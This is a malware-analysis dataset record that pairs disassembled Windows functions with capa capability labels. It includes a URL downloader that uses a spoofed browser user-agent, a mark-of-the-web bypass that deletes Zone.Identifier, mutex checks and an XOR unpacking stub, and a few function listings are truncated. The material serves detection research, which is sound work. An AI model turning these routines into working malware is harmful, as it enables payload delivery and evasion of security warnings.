joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x406130
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406130
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x406130
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406130
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406130
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.866r8r6r
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x406024
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401ff3
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x402750
call fcn.00402558
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x403364
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x402038
cmp eax, esi
jne 0x40202b
xor esi, esi
inc esi
mov edi, esi
jmp 0x40203b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40200f
xor esi, esi
inc esi
cmp dword [0x403368], esi
jne 0x40204d
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x402087
cmp dword [0x403368], ebx
jne 0x402081
mov dword [0x403368], esi
push 0x4010cc
push 0x4010c0
call fcn.0040216c
pop ecx
pop ecx
test eax, eax
je 0x402087
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40215c
mov dword [0x403014], esi
cmp dword [0x403368], esi
jne 0x4020aa
push 0x4010bc
push 0x4010b4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x403368], 2
test edi, edi
jne 0x4020b7
xor eax, eax
mov ecx, 0x403364
xchg dword [ecx], eax
cmp dword [0x40336c], 0
je 0x4020e3
push 0x40336c
call fcn.004023b0
pop ecx
test eax, eax
je 0x4020e3
push ebx
push 2
push ebx
mov esi, dword [0x40336c]
mov ecx, esi
call dword [0x4040a0]
call esi
push dword [0x403020]
push dword [0x40301c]
push dword [0x403018]
call fcn.004018d0
add esp, 0xc
mov dword [0x403010], eax
cmp dword [0x403028], 0
jne 0x402141
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x403014], 0
jne 0x402155
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x403010]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00527000
jmp 0x401ff3

Function at 0x402294
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x402770
call fcn.00402558
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x4022f4
cmp eax, 0xffffffff
je 0x4022f4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x4022ed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x4022ed
cmp edx, 0x10000000
jae 0x4022ed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x4022ea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x402360
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40239e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x402396
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4023a0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x402386
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x5fd950
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x38
mov edi, eax
mov dword [ebp - 0x10], 0
mov ecx, dword [edi + 0x54]
mov ebx, dword [edi + 0x50]
test ecx, ecx
je 0x5fd970
sub ebx, ecx
jmp 0x5fd975
mov esi, dword [edi + 0x4c]
sub ebx, esi
mov esi, ebx
add esi, dword [edi + 0x140]
movsx edx, byte [edi + 0x18c]
cmp edx, 1
je 0x5fda0b
cmp edx, 3
je 0x5fda0b
test ebx, ebx
je 0x5fda04
test ecx, ecx
mov eax, dword [edi + 0x4c]
mov dword [ebp - 0x34], eax
jne 0x5fd9a2
mov ecx, eax
cmp dword [edi + 0x164], 0xb
jne 0x5fd9df
mov eax, edx
and eax, 0xfffffffe
cmp eax, 4
jne 0x5fd9df
mov esi, dword [ebp - 0x34]
mov dword [edi + 0x50], esi
cmp edx, 5
je 0x5fddd9
mov eax, edi
mov edx, ecx
mov ecx, ebx
mov dword [esp + 0xc], 1
call fcn.005fd6c0
mov esi, dword [edi + 0x140]
jmp 0x5fd9f5
push ebx
push ecx
push edi
call fcn.00621250
add esp, 0xc
cmp eax, 0xffffffff
je 0x5fdf08
xor eax, eax
test eax, eax
jne 0x5fdd87
movsx edx, byte [edi + 0x18c]
and byte [edi + 0x1a4], 0xbf
lea eax, [edx - 1]
cmp eax, 7
ja 0x5fdd8f
movzx eax, word [eax*2 + 0x742bf0]
add eax, 0x5fda26
jmp eax
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
push 0x111a
push str.for_wseq.c
push 2
push 8
call fcn.0060b140
add esp, 0x10
test byte [edi + 0x1a5], 8
je 0x5fddcf
push dword [edi + 0x104]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x5fdef2
xor eax, eax
and byte [edi + 0x1a5], 0xf7
test eax, eax
jne 0x5fdd87
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
push ebx
push ecx
push edi
call fcn.00621250
add esp, 0xc
cmp eax, 0xffffffff
je 0x5fddf0
xor eax, eax
jmp 0x5fd9d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x108], eax
mov eax, 0x26
jmp 0x5fd9d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x108], eax
mov eax, 0x26
jmp 0x5fddc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x108], eax
mov eax, 0x26
jmp 0x5fd9f5
Function at 0x6079d0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
sub esp, 0xc
mov edi, 1
mov dword [ebp - 0x10], 0
xor esi, esi
mov edx, 0x7f6918
mov eax, 1
xchg dword [edx], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607a23
mov eax, 0x66666667
imul edi
sar edx, 2
lea ecx, [edx + edx*4]
add ecx, ecx
cmp ecx, edi
jne 0x607a23
cmp edi, 0x2710
jle 0x607a1c
mov esi, 1
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607a33
inc edi
cmp edi, 0x7ffffff
jl 0x6079e6
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607a4d
mov dword [ebp - 0x14], 0x98
lea eax, [ebp - 0x14]
push eax
call fcn.00631a00
add esp, 4
mov eax, dword [0x7f691c]
test eax, eax
jne 0x607a8b
cmp dword [0x7abee4], 1
je 0x607b8b
xor esi, esi
xor edi, edi
cmp dword [0x7f6914], 0
je 0x607b48
mov dword [0x7f691c], 1
cmp dword [0x7abee4], 1
je 0x607b30
push dword [0x7f6910]
mov dword [0x7f6918], 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edx, eax
test edx, edx
je 0x607ab5
mov eax, dword [ebp + 8]
mov dword [eax], edx
xor eax, eax
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x74
call fcn.005e1480
add esp, 0xc
test eax, eax
je 0x607adc
mov edx, dword [ebp + 8]
mov dword [edx], 0
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret
mov edx, dword [ebp - 0x10]
mov eax, dword [0x7abeb0]
mov dword [edx + 0x70], eax
mov eax, 0x70
mov ecx, dword [eax + 0x7abe3c]
mov dword [edx + eax - 4], ecx
mov esi, dword [eax + 0x7abe38]
mov dword [edx + eax - 8], esi
mov edi, dword [eax + 0x7abe34]
mov dword [edx + eax - 0xc], edi
mov ecx, dword [eax + 0x7abe30]
mov dword [edx + eax - 0x10], ecx
sub eax, 0x10
jne 0x607aec
push dword [ebp - 0x10]
push dword [0x7f6910]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov edx, dword [ebp - 0x10]
jmp 0x607aa7
push edi
push 2
call fcn.006c8e49
push esi
push 0x16
call fcn.006c8e49
add esp, 0x10
jmp 0x607a8b
mov dword [0x7f6914], 1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x7f6910], eax
cmp eax, 0xffffffff
jne 0x607b6f
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x607a74
push 0x607960
call fcn.0069348c
push 0x607920
call fcn.0069348c
add esp, 8
jmp 0x607a74
push 1
push 2
call fcn.006c8e49
mov edi, eax
push 1
push 0x16
call fcn.006c8e49
mov esi, eax
add esp, 0x10
jmp 0x607a67
Function at 0x607bb0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
sub esp, 0xc
mov edi, 1
mov dword [ebp - 0x10], 0
xor esi, esi
mov edx, 0x7f6918
mov eax, 1
xchg dword [edx], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607c03
mov eax, 0x66666667
imul edi
sar edx, 2
lea ecx, [edx + edx*4]
add ecx, ecx
cmp ecx, edi
jne 0x607c03
cmp edi, 0x2710
jle 0x607bfc
mov esi, 1
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607c13
inc edi
cmp edi, 0x7ffffff
jl 0x607bc6
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x607c2d
mov dword [ebp - 0x14], 0x98
lea eax, [ebp - 0x14]
push eax
call fcn.00631a00
add esp, 4
mov eax, dword [0x7f691c]
test eax, eax
jne 0x607c6b
cmp dword [0x7abee4], 1
je 0x607d91
xor esi, esi
xor edi, edi
cmp dword [0x7f6914], 0
je 0x607d4e
mov dword [0x7f691c], 1
cmp dword [0x7abee4], 1
je 0x607d36
push dword [0x7f6910]
mov dword [0x7f6918], 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x607cbe
mov eax, dword [ebp + 8]
mov dword [eax], esi
cmp dword [0x7abee4], 1
je 0x607ca1
xor eax, eax
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret
push 1
push 2
call fcn.006c8e49
push 1
push 0x16
mov dword [esi + 0x64], eax
call fcn.006c8e49
add esp, 0x10
mov dword [esi + 0x68], eax
jmp 0x607c98
lea eax, [ebp - 0x10]
push eax
push 0
push 0x74
call fcn.005e1480
add esp, 0xc
test eax, eax
je 0x607ce2
mov edx, dword [ebp + 8]
mov dword [edx], 0
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret
mov edx, dword [ebp - 0x10]
mov eax, dword [0x7abeb0]
mov dword [edx + 0x70], eax
mov eax, 0x70
mov ecx, dword [eax + 0x7abe3c]
mov dword [edx + eax - 4], ecx
mov esi, dword [eax + 0x7abe38]
mov dword [edx + eax - 8], esi
mov edi, dword [eax + 0x7abe34]
mov dword [edx + eax - 0xc], edi
mov ecx, dword [eax + 0x7abe30]
mov dword [edx + eax - 0x10], ecx
sub eax, 0x10
jne 0x607cf2
push dword [ebp - 0x10]
push dword [0x7f6910]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esi, dword [ebp - 0x10]
jmp 0x607c8a
push edi
push 2
call fcn.006c8e49
push esi
push 0x16
call fcn.006c8e49
add esp, 0x10
jmp 0x607c6b
mov dword [0x7f6914], 1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x7f6910], eax
cmp eax, 0xffffffff
jne 0x607d75
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x607c54
push 0x607960
call fcn.0069348c
push 0x607920
call fcn.0069348c
add esp, 8
jmp 0x607c54
push 1
push 2
call fcn.006c8e49
mov edi, eax
push 1
push 0x16
call fcn.006c8e49
mov esi, eax
add esp, 0x10
jmp 0x607c47
Function at 0x60dcc0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push 0x7f6b9c
call fcn.00607e00
add esp, 4
mov eax, dword [0x7f6ba0]
test eax, eax
jne 0x60dd48
mov dword [0x7f6ba0], 1
lea eax, [ebp - 8]
push eax
push 0
push 0x1001
call fcn.005e1480
add esp, 0xc
push 0x105
mov edi, dword [ebp - 8]
push edi
push str.FORT0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jbe 0x60dd17
cmp eax, 0x105
jb 0x60dd1e
test edi, edi
je 0x60dd1e
mov byte [edi], 0
mov edi, dword [ebp - 8]
cmp byte [edi], 0
je 0x60dd3f
push 2
call fcn.006a2dd2
push eax
push 0x749df8
push edi
call fcn.006ca68f
add esp, 0x10
mov edi, dword [ebp - 8]
push edi
call fcn.005e1540
add esp, 4
mov dword [0x7f6b9c], 0
lea esp, [ebp - 4]
pop edi
pop ebp
ret
Function at 0x61ce10
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x11c
mov eax, dword [0x7adbc0]
mov edx, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
test edx, edx
je 0x61cf2f
push 0x105
lea ebx, [ebp - 0x118]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jbe 0x61ce52
cmp eax, 0x105
jae 0x61ce52
inc eax
jmp 0x61ce59
mov byte [ebp - 0x118], 0
test eax, eax
jne 0x61ce64
xor eax, eax
jmp 0x61cf0e
movsx esi, byte [ebp - 0x118]
cmp esi, 0x54
je 0x61cf09
cmp esi, 0x59
je 0x61cf09
cmp esi, 0x74
je 0x61cf09
cmp esi, 0x79
je 0x61cf09
test esi, esi
je 0x61ce5d
mov eax, esi
and eax, 0xff
lea edi, [ebp - 0x117]
push eax
call fcn.006ccbb0
add esp, 4
test eax, eax
je 0x61cec1
movsx esi, byte [edi]
inc edi
mov eax, esi
and eax, 0xff
push eax
call fcn.006ccbb0
add esp, 4
test eax, eax
jne 0x61cea9
test esi, esi
jne 0x61ce5d
xor esi, esi
lea eax, [ebp - 0x11c]
mov dword [eax], esi
mov esi, 0x74ac54
mov dword [eax - 0xc], esi
mov dword [eax - 8], eax
call fcn.00619020
mov ecx, eax
lea eax, [ebp - 0x124]
push eax
xor edx, edx
push edx
push esi
push 0xffffffffffffffff
push ebx
push dword [ecx + 4]
push dword [ecx]
call fcn.006d5bda
add esp, 0x1c
cmp dword [ebp - 0x11c], 0
je 0x61ce5d
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], 0
xor ecx, ebp
cmp ecx, dword [0x7adbc0]
jne 0x61cf2a
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
call fcn.00693023
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], 0
xor ecx, ebp
cmp ecx, dword [0x7adbc0]
jne 0x61cf2a
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x620d00
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edx, dword [esi + 0x54]
mov ebx, dword [esi + 0x50]
test edx, edx
je 0x620d1a
sub ebx, edx
jmp 0x620d1f
mov edx, dword [esi + 0x4c]
sub ebx, edx
lea edx, [ebx + 4]
cmp edx, dword [esi + 0x10c]
ja 0x62119f
movzx edx, word [esi + 0x18a]
test edx, edx
jg 0x620f54
movsx edx, byte [esi + 0x18c]
cmp edx, 8
ja 0x620eea
movzx eax, word [edx*2 + 0x74b114]
add eax, 0x620d5c
jmp eax
push 0x37f
push str.for_put.c
push 2
push 8
call fcn.0060b140
add esp, 0x10
mov edx, dword [esi + 0x54]
test edx, edx
je 0x62117d
mov eax, esi
mov ecx, ebx
call fcn.0062125c
and byte [esi + 0x1a4], 0xbf
cmp eax, 0xffffffff
je 0x621164
test byte [esi + 0x1a5], 8
je 0x620f71
push dword [esi + 0x104]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x62114e
xor eax, eax
and byte [esi + 0x1a5], 0xf7
test eax, eax
jne 0x62122e
jmp 0x620f71
mov edx, dword [esi + 0x54]
test edx, edx
je 0x62118e
mov eax, esi
mov ecx, ebx
call fcn.0062125c
cmp eax, 0xffffffff
je 0x621164
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x108], eax
mov eax, 0x26
jmp 0x620f43
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x108], eax
mov eax, 0x26
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, esi
mov ecx, ebx
mov edx, dword [esi + 0x4c]
call fcn.0062125c
jmp 0x620f14
mov eax, esi
mov ecx, ebx
mov edx, dword [esi + 0x4c]
call fcn.0062125c
jmp 0x620f68
push 0x200
push 4
push esi
call fcn.0061c030
add esp, 0xc
test eax, eax
je 0x620d2e
cmp ebx, dword [esi + 0x10c]
ja 0x6211cc
cmp byte [esi + 0x18c], 1
je 0x620d2e
mov edx, dword [esi + 0x20]
test edx, edx
je 0x621236
test byte [edx + 0x44], 2
je 0x621203
mov ecx, 0x42
mov dword [edx + 0x38], ecx
mov edx, dword [esi + 0x20]
mov dword [edx + 0x3c], ecx
mov edx, dword [esi + 0x7c]
test edx, edx
je 0x6211f6
xor ecx, ecx
mov dword [edx + 4], ecx
mov dword [esi + 0x7c], ecx
mov eax, 0x42
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
movzx ecx, byte [esi + 0x1ae]
mov edx, 0x42
and ecx, 0x10
movzx ebx, byte [esi + 0x1a4]
push edx
shr ecx, 1
and ebx, 7
push edx
or ebx, ecx
push ebx
push 0xffffffffffffffff
push esi
call fcn.0061aa20
add esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret
push esi
mov eax, 0x42
push eax
push eax
push 1
call fcn.00609b70
add esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x621250
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
Function at 0x62d000
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
Function at 0x69384b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x69388a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x69388a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x69388a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x69388a
cmp dword [ecx + 0x74], 0xe
jbe 0x69388a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x6be0d2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x6be111
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x6be111
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x6be111
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x6be111
cmp dword [ecx + 0x74], 0xe
jbe 0x6be111
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x6dce40
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x7adbc0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x58], edi
test edi, edi
jle 0x6dced5
push esi
mov esi, dword [ebx + 4]
mov ecx, esi
shr ecx, 0xb
and ecx, 7
push 3
add ecx, ecx
pop edx
shl edx, cl
mov eax, edx
not eax
and eax, dword [ebx + 8]
or eax, edx
mov dword [ebx + 8], eax
lea eax, [esi + 0x800]
xor eax, esi
and eax, 0x3800
xor eax, esi
mov dword [ebx + 4], eax
sub edi, 1
jne 0x6dce62
imul edi, dword [ebp - 0x58], 0xa
lea esi, [ebx + 0x1c]
lea eax, [ebp - 0x54]
push edi
push esi
push eax
call fcn.00695b20
imul eax, dword [ebp - 0x58], 0xa
push 0x50
pop ecx
sub ecx, eax
lea eax, [ebx + 0x1c]
push ecx
add eax, edi
push eax
push esi
call fcn.006955a0
push edi
lea eax, [ebp - 0x54]
sub ebx, edi
push eax
add ebx, 0x6c
push ebx
call fcn.00695b20
add esp, 0x24
pop esi
jmp 0x6dcf14
jns 0x6dcf14
mov ecx, dword [ebx + 4]
shr ecx, 0xb
dec ecx
shl ecx, 0xb
xor ecx, dword [ebx + 4]
and ecx, 0x3800
xor ecx, dword [ebx + 4]
mov dword [ebx + 4], ecx
shr ecx, 0xb
push 3
and ecx, 7
pop eax
add ecx, ecx
shl eax, cl
not eax
and dword [ebx + 8], eax
lea eax, [ebx + 0x1c]
push 0x46
push eax
lea eax, [ebx + 0x26]
push eax
call fcn.006955a0
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00693023
leave
ret

Function at 0x6de93c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x75c4d4
push 0x75c4cc
push str.FlsAlloc
push 0x1f
call fcn.006de60a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x6de970
push dword [ebp + 8]
mov ecx, esi
call dword [0x7072a4]
call esi
jmp 0x6de976
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x6de9ba
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x75c4e4
push 0x75c4dc
push str.FlsGetValue
push 0x21
call fcn.006de60a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x6de9f1
push dword [ebp + 8]
mov ecx, esi
call dword [0x7072a4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x6de9f9
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x75c4ec
push 0x75c4e4
push str.FlsSetValue
push 0x22
call fcn.006de60a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x6dea33
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x7072a4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x6e47b0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.006e4684